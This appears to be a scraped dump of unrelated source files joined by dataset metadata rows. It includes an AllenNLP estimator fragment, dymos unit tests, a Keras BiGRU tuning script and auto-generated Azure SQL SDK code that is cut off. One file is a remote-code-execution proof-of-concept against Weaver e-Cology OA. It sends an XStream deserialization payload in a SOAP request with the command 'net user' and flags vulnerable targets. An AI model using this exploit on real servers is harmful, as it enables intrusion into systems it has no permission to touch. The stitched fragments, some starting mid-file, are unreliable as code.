self._accuracy = metrics.CategoricalAccuracy()
self._f1 = allennlp_metrics.BinaryF1(0.5)
self.cuda_device = cuda_device
self.configuration = configuration
def _estimate(self, batch) -> np.ndarray:
label = batch['label']
polarity_mask = batch['polarity_mask']
category_labels = []
polarity_labels = []
polarity_masks = []
for i in range(len(self.categories)):
category_labels.append(label[:, i])
polarity_labels.append(label[:, i + len(self.categories)])
polarity_masks.append(polarity_mask[:, i])
out_dict = self.model(**batch)
pred_category = out_dict['pred_category']
if not self.configuration['only_acd']:
pred_sentiment = out_dict['pred_sentiment']
sentiment_logit = torch.cat(pred_sentiment)
sentiment_label = torch.cat(polarity_labels)
sentiment_mask = torch.cat(polarity_masks)
self._accuracy(sentiment_logit, sentiment_label, sentiment_mask)
# category f1
category_prob = torch.cat(pred_category).squeeze()
category_label = torch.cat(category_labels)
self._f1(category_prob, category_label)
def estimate(self, ds: Iterable[Instance]) -> dict:
self.model.eval()
pred_generator = self.iterator(ds, num_epochs=1, shuffle=False)
pred_generator_tqdm = tqdm(pred_generator,
total=self.iterator.get_num_batches(ds))
with torch.no_grad():
for batch in pred_generator_tqdm:
batch = nn_util.move_to_device(batch, self.cuda_device)
self._estimate(batch)
return {'sentiment_acc': self._accuracy.get_metric(reset=True),
'category_f1': self._f1.get_metric(reset=True)}
| 54.241701 | 191 | 0.608417 | 11,400 | 104,578 | 5.209737 | 0.037281 | 0.029466 | 0.019953 | 0.019835 | 0.877338 | 0.846728 | 0.821202 | 0.803203 | 0.784075 | 0.773046 | 0 | 0.006729 | 0.306499 | 104,578 | 1,927 | 192 | 54.26985 | 0.812175 | 0.065932 | 0 | 0.766391 | 0 | 0 | 0.030088 | 0.013525 | 0 | 0 | 0 | 0 | 0 | 1 | 0.040738 | false | 0.00191 | 0.023552 | 0 | 0.0993 | 0.015277 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c4d4825a3bd9b71b736ce38fed155a48eaf381f4 | 10,408 | py | Python | dymos/phase/test/test_sized_input_parameters.py | mjfwest/dymos | 8650bf8087c551fc8a6faf3aa5723c3739b9617e | [
"Apache-2.0"
] | null | null | null | dymos/phase/test/test_sized_input_parameters.py | mjfwest/dymos | 8650bf8087c551fc8a6faf3aa5723c3739b9617e | [
"Apache-2.0"
] | null | null | null | dymos/phase/test/test_sized_input_parameters.py | mjfwest/dymos | 8650bf8087c551fc8a6faf3aa5723c3739b9617e | [
"Apache-2.0"
] | null | null | null | import unittest
import openmdao.api as om
from openmdao.utils.assert_utils import assert_near_equal
import dymos as dm
from dymos.utils.lgl import lgl
from dymos.models.eom import FlightPathEOM2D
import numpy as np
class TestInputParameterConnections(unittest.TestCase):
def test_dynamic_input_parameter_connections_radau(self):
class TrajectoryODE(om.Group):
def initialize(self):
self.options.declare('num_nodes', types=int)
def setup(self):
nn = self.options['num_nodes']
self.add_subsystem('sum', om.ExecComp('m_tot = sum(m)',
m={'value': np.zeros((nn, 2, 2)),
'units': 'kg'},
m_tot={'value': np.zeros(nn),
'units': 'kg'}))
self.add_subsystem('eom', FlightPathEOM2D(num_nodes=nn))
self.connect('sum.m_tot', 'eom.m')
optimizer = 'SLSQP'
num_segments = 1
transcription_order = 5
p = om.Problem(model=om.Group())
p.driver = om.pyOptSparseDriver()
p.driver.options['optimizer'] = optimizer
p.driver.declare_coloring()
seg_ends, _ = lgl(num_segments + 1)
# @dm.declare_time(units='s')
# @dm.declare_state('v', rate_source='eom.v_dot', units='m/s')
# @dm.declare_state('h', rate_source='eom.h_dot', units='m')
# @dm.declare_parameter('m', targets='sum.m', units='kg', shape=(2, 2))
phase = dm.Phase(ode_class=TrajectoryODE,
transcription=dm.Radau(num_segments=num_segments, order=transcription_order,
segment_ends=seg_ends))
p.model.add_subsystem('phase0', phase)
phase.set_time_options(initial_bounds=(0.0, 100.0), duration_bounds=(0., 100.), units='s')
phase.add_state('h', fix_initial=True, fix_final=True, lower=0.0, units='m', rate_source='eom.h_dot')
phase.add_state('v', fix_initial=True, fix_final=False, units='m/s', rate_source='eom.v_dot')
phase.add_input_parameter('m', val=[[1, 2], [3, 4]], units='kg', targets='sum.m')
p.model.linear_solver = om.DirectSolver()
p.setup(check=True, force_alloc_complex=True)
p['phase0.t_initial'] = 0.0
p['phase0.t_duration'] = 100.0
p['phase0.states:h'] = phase.interpolate(ys=[20, 0], nodes='state_input')
p['phase0.states:v'] = phase.interpolate(ys=[0, -5], nodes='state_input')
p.run_model()
expected = np.broadcast_to(np.array([[1, 2], [3, 4]]),
(p.model.phase0.options['transcription'].grid_data.num_nodes, 2, 2))
assert_near_equal(p.get_val('phase0.rhs_all.sum.m'), expected)
def test_static_input_parameter_connections_radau(self):
class TrajectoryODE(om.Group):
def initialize(self):
self.options.declare('num_nodes', types=int)
def setup(self):
nn = self.options['num_nodes']
self.add_subsystem('sum', om.ExecComp('m_tot = sum(m)',
m={'value': np.zeros((2, 2)),
'units': 'kg'},
m_tot={'value': np.zeros(nn),
'units': 'kg'}))
self.add_subsystem('eom', FlightPathEOM2D(num_nodes=nn))
self.connect('sum.m_tot', 'eom.m')
optimizer = 'SLSQP'
num_segments = 1
transcription_order = 5
p = om.Problem(model=om.Group())
p.driver = om.pyOptSparseDriver()
p.driver.options['optimizer'] = optimizer
p.driver.declare_coloring()
seg_ends, _ = lgl(num_segments + 1)
phase = dm.Phase(ode_class=TrajectoryODE,
transcription=dm.Radau(num_segments=num_segments,
order=transcription_order,
segment_ends=seg_ends))
p.model.add_subsystem('phase0', phase)
phase.set_time_options(initial_bounds=(0.0, 100.0), duration_bounds=(0., 100.))
phase.add_state('h', fix_initial=True, fix_final=True, lower=0.0, units='m', rate_source='eom.h_dot')
phase.add_state('v', fix_initial=True, fix_final=False, units='m/s', rate_source='eom.v_dot')
phase.add_input_parameter('m', val=[[1, 2], [3, 4]], units='kg', targets='sum.m', dynamic=False)
p.model.linear_solver = om.DirectSolver()
p.setup(check=True, force_alloc_complex=True)
p['phase0.t_initial'] = 0.0
p['phase0.t_duration'] = 100.0
p['phase0.states:h'] = phase.interpolate(ys=[20, 0], nodes='state_input')
p['phase0.states:v'] = phase.interpolate(ys=[0, -5], nodes='state_input')
p.run_model()
expected = np.array([[1, 2], [3, 4]])
assert_near_equal(p.get_val('phase0.rhs_all.sum.m'), expected)
def test_dynamic_input_parameter_connections_gl(self):
class TrajectoryODE(om.Group):
def initialize(self):
self.options.declare('num_nodes', types=int)
def setup(self):
nn = self.options['num_nodes']
self.add_subsystem('sum', om.ExecComp('m_tot = sum(m)',
m={'value': np.zeros((nn, 2, 2)),
'units': 'kg'},
m_tot={'value': np.zeros(nn),
'units': 'kg'}))
self.add_subsystem('eom', FlightPathEOM2D(num_nodes=nn))
self.connect('sum.m_tot', 'eom.m')
optimizer = 'SLSQP'
num_segments = 1
transcription_order = 5
p = om.Problem(model=om.Group())
p.driver = om.pyOptSparseDriver()
p.driver.options['optimizer'] = optimizer
p.driver.declare_coloring()
seg_ends, _ = lgl(num_segments + 1)
phase = dm.Phase(ode_class=TrajectoryODE,
transcription=dm.GaussLobatto(num_segments=num_segments,
order=transcription_order,
segment_ends=seg_ends))
p.model.add_subsystem('phase0', phase)
phase.set_time_options(initial_bounds=(0.0, 100.0), duration_bounds=(0., 100.), units='s')
phase.add_state('h', fix_initial=True, fix_final=True, lower=0.0, units='m', rate_source='eom.h_dot')
phase.add_state('v', fix_initial=True, fix_final=False, units='m/s', rate_source='eom.v_dot')
phase.add_input_parameter('m', val=[[1, 2], [3, 4]], units='kg', targets='sum.m')
p.model.linear_solver = om.DirectSolver()
p.setup(check=True, force_alloc_complex=True)
p['phase0.t_initial'] = 0.0
p['phase0.t_duration'] = 100.0
p['phase0.states:h'] = phase.interpolate(ys=[20, 0], nodes='state_input')
p['phase0.states:v'] = phase.interpolate(ys=[0, -5], nodes='state_input')
p.run_model()
gd = p.model.phase0.options['transcription'].grid_data
expected = np.broadcast_to(np.array([[1, 2], [3, 4]]),
(gd.subset_num_nodes['state_disc'], 2, 2))
assert_near_equal(p.get_val('phase0.rhs_disc.sum.m'), expected)
expected = np.broadcast_to(np.array([[1, 2], [3, 4]]),
(gd.subset_num_nodes['col'], 2, 2))
assert_near_equal(p.get_val('phase0.rhs_col.sum.m'), expected)
def test_static_input_parameter_connections_gl(self):
class TrajectoryODE(om.Group):
def initialize(self):
self.options.declare('num_nodes', types=int)
def setup(self):
nn = self.options['num_nodes']
self.add_subsystem('sum', om.ExecComp('m_tot = sum(m)',
m={'value': np.zeros((2, 2)),
'units': 'kg'},
m_tot={'value': np.zeros(nn),
'units': 'kg'}))
self.add_subsystem('eom', FlightPathEOM2D(num_nodes=nn))
self.connect('sum.m_tot', 'eom.m')
optimizer = 'SLSQP'
num_segments = 1
transcription_order = 5
p = om.Problem(model=om.Group())
p.driver = om.pyOptSparseDriver()
p.driver.options['optimizer'] = optimizer
p.driver.declare_coloring()
seg_ends, _ = lgl(num_segments + 1)
phase = dm.Phase(ode_class=TrajectoryODE,
transcription=dm.GaussLobatto(num_segments=num_segments,
order=transcription_order,
segment_ends=seg_ends))
p.model.add_subsystem('phase0', phase)
phase.set_time_options(initial_bounds=(0.0, 100.0), duration_bounds=(0., 100.), units='s')
phase.add_state('h', fix_initial=True, fix_final=True, lower=0.0, units='m', rate_source='eom.h_dot')
phase.add_state('v', fix_initial=True, fix_final=False, units='m/s', rate_source='eom.v_dot')
phase.add_input_parameter('m', val=[[1, 2], [3, 4]], units='kg', targets='sum.m', dynamic=False)
p.model.linear_solver = om.DirectSolver()
p.setup(check=True, force_alloc_complex=True)
p['phase0.t_initial'] = 0.0
p['phase0.t_duration'] = 100.0
p['phase0.states:h'] = phase.interpolate(ys=[20, 0], nodes='state_input')
p['phase0.states:v'] = phase.interpolate(ys=[0, -5], nodes='state_input')
p.run_model()
expected = np.array([[1, 2], [3, 4]])
assert_near_equal(p.get_val('phase0.rhs_disc.sum.m'), expected)
assert_near_equal(p.get_val('phase0.rhs_col.sum.m'), expected)
if __name__ == '__main__': # pragma: no cover
unittest.main()
| 38.405904 | 109 | 0.533628 | 1,250 | 10,408 | 4.24 | 0.1048 | 0.01434 | 0.024528 | 0.006792 | 0.926038 | 0.919623 | 0.91566 | 0.900566 | 0.900566 | 0.896981 | 0 | 0.026885 | 0.324558 | 10,408 | 270 | 110 | 38.548148 | 0.727027 | 0.022483 | 0 | 0.877907 | 0 | 0 | 0.100708 | 0.004131 | 0 | 0 | 0 | 0 | 0.040698 | 1 | 0.069767 | false | 0 | 0.040698 | 0 | 0.139535 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f2042ecf7c552015698c774d9d94760751ea54d4 | 4,249 | py | Python | models/ht_models/bigru.py | NLashkarashvili/Toxicity_Detection_in_Georgian_Discussions | d5a639c866d33258e91bc401b087b9fba969384e | [
"MIT"
] | 1 | 2022-03-13T16:59:37.000Z | 2022-03-13T16:59:37.000Z | models/ht_models/bigru.py | NLashkarashvili/Toxicity_Detection_in_Georgian_Discussions | d5a639c866d33258e91bc401b087b9fba969384e | [
"MIT"
] | null | null | null | models/ht_models/bigru.py | NLashkarashvili/Toxicity_Detection_in_Georgian_Discussions | d5a639c866d33258e91bc401b087b9fba969384e | [
"MIT"
] | null | null | null | import tensorflow as tf
import scipy.stats as stats
from kerashypetune import KerasRandomSearch
from gensim import models
from tensorflow import keras
from tensorflow.keras import layers
from sklearn.metrics import roc_auc_score
from sklearn.model_selection import train_test_split
from tensorflow.keras.layers.experimental.preprocessing import TextVectorization
##model for FastText pretrained embeddings (embed_dim set to 300)
def get_model(param, maxlen=25, vocab_size=vocab_size, embed_dim=300):
inputs = layers.Input(shape=(maxlen,))
embedding_layer = layers.Embedding(input_dim = vocab_size, output_dim=embed_dim,
input_length=maxlen)
x = embedding_layer(inputs)
x = layers.Bidirectional(layers.GRU(param['unit_1'], input_dim=(None, embed_dim),
return_sequences=False, activation='tanh',
dropout=param['dropout']))(x)
outputs = layers.Dense(1, activation="sigmoid")(x)
model = keras.Model(inputs=inputs, outputs=outputs)
model.compile(optimizer=tf.keras.optimizers.Adam(learning_rate=param['lr']),
loss="binary_crossentropy", metrics=["accuracy", tf.keras.metrics.AUC(name='auc')])
return model
from sklearn.model_selection import StratifiedShuffleSplit
sss = StratifiedShuffleSplit(n_splits=1, test_size=0.15, random_state=0)
for train_index, test_index in sss.split(data['comment'], data['label']):
X_train, X_test = data['comment'].iloc[train_index], data['comment'].iloc[test_index]
y_train, y_test = data['label'].iloc[train_index], data['label'].iloc[test_index]
param_grid = {
'unit_1': [32, 64, 128],
'dropout': [0.1, 0.2, 0.3, 0.4, 0.5],
'lr': stats.uniform(1e-4, 1e-2),
'epochs': 5,
'batch_size': [32, 64, 128]
}
X_train = vectorizer(np.array([[s] for s in X_train])).numpy()
X_test = vectorizer(np.array([[s] for s in X_test])).numpy()
X_train = keras.preprocessing.sequence.pad_sequences(X_train, maxlen=25)
X_test = keras.preprocessing.sequence.pad_sequences(X_test, maxlen=25)
kgs = KerasRandomSearch(get_model, param_grid, monitor='val_auc', greater_is_better=True,
n_iter=15)
kgs.search(X_train, y_train, validation_data=(X_test, y_test))
##############################################################################
##model without FastText Embeddings
def get_model(param, maxlen=25, vocab_size=n_word_unique + 1):
inputs = layers.Input(shape=(maxlen,))
embedding_layer = layers.Embedding(input_dim = vocab_size, output_dim=param['embed_dim'],
input_length=maxlen)
x = embedding_layer(inputs)
x = layers.Bidirectional(layers.GRU(param['unit_1'], input_dim=(None, param['embed_dim']),
return_sequences=False, activation='tanh',
dropout=param['dropout']))(x)
outputs = layers.Dense(1, activation="sigmoid")(x)
model = keras.Model(inputs=inputs, outputs=outputs)
model.compile(optimizer=tf.keras.optimizers.Adam(learning_rate=param['lr']),
loss="binary_crossentropy", metrics=["accuracy", tf.keras.metrics.AUC(name='auc')])
return model
from sklearn.model_selection import StratifiedShuffleSplit
sss = StratifiedShuffleSplit(n_splits=1, test_size=0.15, random_state=0)
for train_index, test_index in sss.split(data['comment'], data['label']):
X_train, X_test = data['comment'].iloc[train_index], data['comment'].iloc[test_index]
y_train, y_test = data['label'].iloc[train_index], data['label'].iloc[test_index]
param_grid = {
'unit_1': [32, 64, 128],
'dropout': [0.1, 0.2, 0.3, 0.4, 0.5],
'embed_dim': [32, 64, 128],
'lr': stats.uniform(1e-4, 1e-2),
'epochs': 5,
'batch_size': [32, 64, 128]
}
X_train = keras.preprocessing.sequence.pad_sequences(X_train, maxlen=25)
X_test = keras.preprocessing.sequence.pad_sequences(X_test, maxlen=25)
kgs = KerasRandomSearch(get_model, param_grid, monitor='val_auc', greater_is_better=True,
n_iter=15)
kgs.search(X_train, y_train, validation_data=(X_test, y_test))
print(kgs.best_params)
| 43.804124 | 101 | 0.664392 | 571 | 4,249 | 4.744308 | 0.220666 | 0.022148 | 0.01292 | 0.026578 | 0.828719 | 0.817276 | 0.817276 | 0.817276 | 0.774456 | 0.774456 | 0 | 0.030049 | 0.185455 | 4,249 | 96 | 102 | 44.260417 | 0.752673 | 0.022594 | 0 | 0.712329 | 0 | 0 | 0.070499 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027397 | false | 0 | 0.150685 | 0 | 0.205479 | 0.013699 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
1ef81f60598533a61f73f42b5eb13d51da413153 | 43,130 | py | Python | Moudle/Weaver/Weaver_e_Cology_RCE.py | WingsSec/Meppo | 454aa6ce6cc3e93cadb2dc0c455c56fa5e0f1a94 | [
"MIT"
] | 60 | 2022-03-22T02:40:41.000Z | 2022-03-29T06:23:57.000Z | Moudle/Weaver/Weaver_e_Cology_RCE.py | BambooLove/Meppo | 96e023c0b07c09f334b44fcfb9abfe741a082f0f | [
"MIT"
] | null | null | null | Moudle/Weaver/Weaver_e_Cology_RCE.py | BambooLove/Meppo | 96e023c0b07c09f334b44fcfb9abfe741a082f0f | [
"MIT"
] | 9 | 2022-03-22T12:10:44.000Z | 2022-03-25T07:37:01.000Z | #!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
########################################################################################################################
# 脚本信息
NAME='Weaver_e_Cology_RCE'
AUTHOR="Faith"
REMARK='泛微E-Cology WorkflowServiceXml RCE'
FOFA_RULE='app="泛微-协同办公OA"'
########################################################################################################################
def poc(target):
result={}
url = target + "/services%20/WorkflowServiceXml"
cmd = "net user"
headers = {
'User-Agent': 'Apache-HttpClient/4.1.1 (java 1.5)',
'SOAPAction': '""',
'Cmd': cmd,
"Content-Type": "text/xml;charset=UTF-8"
}
data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest> <web:string>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest> <web:string>
<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <contentType>text/plain</contentType>
          <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
                <names class='java.util.AbstractList$Itr'>
                  <cursor>0</cursor>
                  <lastRet>-1</lastRet>
                  <expectedModCount>0</expectedModCount>
                  <outer-class class='java.util.Arrays$ArrayList'>
                    <a class='string-array'>
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                  <classes defined-in='java.lang.ClassLoader'/>
                  <defaultDomain>
                    <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
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        </java.util.Collections_-SynchronizedCollection>
      </domains>                  <packages/>
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                  <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
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                  <ignored__packages>
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                  <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
                    <__path>
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                      <class__path>.</class__path>
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                  </repository>
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              <type>KEYS</type>
            </e>
            <in class='java.io.ByteArrayInputStream'>
              <buf></buf>
              <pos>0</pos>
              <mark>0</mark>
              <count>0</count>
            </in>
          </is>
          <consumed>false</consumed>
        </dataSource>
        <transferFlavors/>
      </dataHandler>
      <dataLen>0</dataLen>
    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
  </java.util.PriorityQueue>
</java.util.PriorityQueue></web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>'''.format(cmd=cmd)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
r = requests.post(url,headers=headers,data=data,verify=False,timeout=5)
if "VulTest" in r.text and r.status_code == 500:
result['target'] = target
result['poc'] = NAME
result['url'] = url
return result
else:
pass
except:
pass
if __name__ == '__main__':
target = sys.argv[1]
poc(target) | 798.703704 | 41,243 | 0.502087 | 7,060 | 43,130 | 3.064731 | 0.023938 | 0.289227 | 0.400148 | 0.490271 | 0.606692 | 0.520035 | 0.502565 | 0.47844 | 0.463881 | 0.449462 | 0 | 0.295161 | 0.008741 | 43,130 | 54 | 41,244 | 798.703704 | 0.210933 | 0.00109 | 0 | 0.177778 | 0 | 0.066667 | 0.981746 | 0.969235 | 0 | 0 | 0 | 0 | 0 | 1 | 0.022222 | false | 0.044444 | 0.066667 | 0 | 0.111111 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
484f24f337816c4f29b5edd0953b48345f0151ba | 47,356 | py | Python | src/db-up/azext_db_up/vendored_sdks/azure_mgmt_sql/sql/operations/sync_groups_operations.py | Mannan2812/azure-cli-extensions | e2b34efe23795f6db9c59100534a40f0813c3d95 | [
"MIT"
] | 207 | 2017-11-29T06:59:41.000Z | 2022-03-31T10:00:53.000Z | src/db-up/azext_db_up/vendored_sdks/azure_mgmt_sql/sql/operations/sync_groups_operations.py | Mannan2812/azure-cli-extensions | e2b34efe23795f6db9c59100534a40f0813c3d95 | [
"MIT"
] | 4,061 | 2017-10-27T23:19:56.000Z | 2022-03-31T23:18:30.000Z | src/db-up/azext_db_up/vendored_sdks/azure_mgmt_sql/sql/operations/sync_groups_operations.py | Mannan2812/azure-cli-extensions | e2b34efe23795f6db9c59100534a40f0813c3d95 | [
"MIT"
] | 802 | 2017-10-11T17:36:26.000Z | 2022-03-31T22:24:32.000Z | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
import uuid
from msrest.pipeline import ClientRawResponse
from msrestazure.azure_exceptions import CloudError
from msrest.polling import LROPoller, NoPolling
from msrestazure.polling.arm_polling import ARMPolling
from .. import models
class SyncGroupsOperations(object):
"""SyncGroupsOperations operations.
:param client: Client for service requests.
:param config: Configuration of service client.
:param serializer: An object model serializer.
:param deserializer: An object model deserializer.
:ivar api_version: The API version to use for the request. Constant value: "2015-05-01-preview".
"""
models = models
def __init__(self, client, config, serializer, deserializer):
self._client = client
self._serialize = serializer
self._deserialize = deserializer
self.api_version = "2015-05-01-preview"
self.config = config
def list_sync_database_ids(
self, location_name, custom_headers=None, raw=False, **operation_config):
"""Gets a collection of sync database ids.
:param location_name: The name of the region where the resource is
located.
:type location_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: An iterator like instance of SyncDatabaseIdProperties
:rtype:
~azure.mgmt.sql.models.SyncDatabaseIdPropertiesPaged[~azure.mgmt.sql.models.SyncDatabaseIdProperties]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = self.list_sync_database_ids.metadata['url']
path_format_arguments = {
'locationName': self._serialize.url("location_name", location_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.SyncDatabaseIdPropertiesPaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.SyncDatabaseIdPropertiesPaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
list_sync_database_ids.metadata = {'url': '/subscriptions/{subscriptionId}/providers/Microsoft.Sql/locations/{locationName}/syncDatabaseIds'}
def _refresh_hub_schema_initial(
self, resource_group_name, server_name, database_name, sync_group_name, custom_headers=None, raw=False, **operation_config):
# Construct URL
url = self.refresh_hub_schema.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'databaseName': self._serialize.url("database_name", database_name, 'str'),
'syncGroupName': self._serialize.url("sync_group_name", sync_group_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 202]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
def refresh_hub_schema(
self, resource_group_name, server_name, database_name, sync_group_name, custom_headers=None, raw=False, polling=True, **operation_config):
"""Refreshes a hub database schema.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param database_name: The name of the database on which the sync group
is hosted.
:type database_name: str
:param sync_group_name: The name of the sync group.
:type sync_group_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: The poller return type is ClientRawResponse, the
direct response alongside the deserialized response
:param polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:return: An instance of LROPoller that returns None or
ClientRawResponse<None> if raw==True
:rtype: ~msrestazure.azure_operation.AzureOperationPoller[None] or
~msrestazure.azure_operation.AzureOperationPoller[~msrest.pipeline.ClientRawResponse[None]]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
raw_result = self._refresh_hub_schema_initial(
resource_group_name=resource_group_name,
server_name=server_name,
database_name=database_name,
sync_group_name=sync_group_name,
custom_headers=custom_headers,
raw=True,
**operation_config
)
def get_long_running_output(response):
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
lro_delay = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
if polling is True: polling_method = ARMPolling(lro_delay, **operation_config)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
refresh_hub_schema.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Sql/servers/{serverName}/databases/{databaseName}/syncGroups/{syncGroupName}/refreshHubSchema'}
def list_hub_schemas(
self, resource_group_name, server_name, database_name, sync_group_name, custom_headers=None, raw=False, **operation_config):
"""Gets a collection of hub database schemas.
:param resource_group_name: The name of the resource group that
contains the resource. You can obtain this value from the Azure
Resource Manager API or the portal.
:type resource_group_name: str
:param server_name: The name of the server.
:type server_name: str
:param database_name: The name of the database on which the sync group
is hosted.
:type database_name: str
:param sync_group_name: The name of the sync group.
:type sync_group_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: An iterator like instance of SyncFullSchemaProperties
:rtype:
~azure.mgmt.sql.models.SyncFullSchemaPropertiesPaged[~azure.mgmt.sql.models.SyncFullSchemaProperties]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = self.list_hub_schemas.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serverName': self._serialize.url("server_name", server_name, 'str'),
'databaseName': self._serialize.url("database_name", database_name, 'str'),
'syncGroupName': self._serialize.url("sync_group_name", sync_group_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
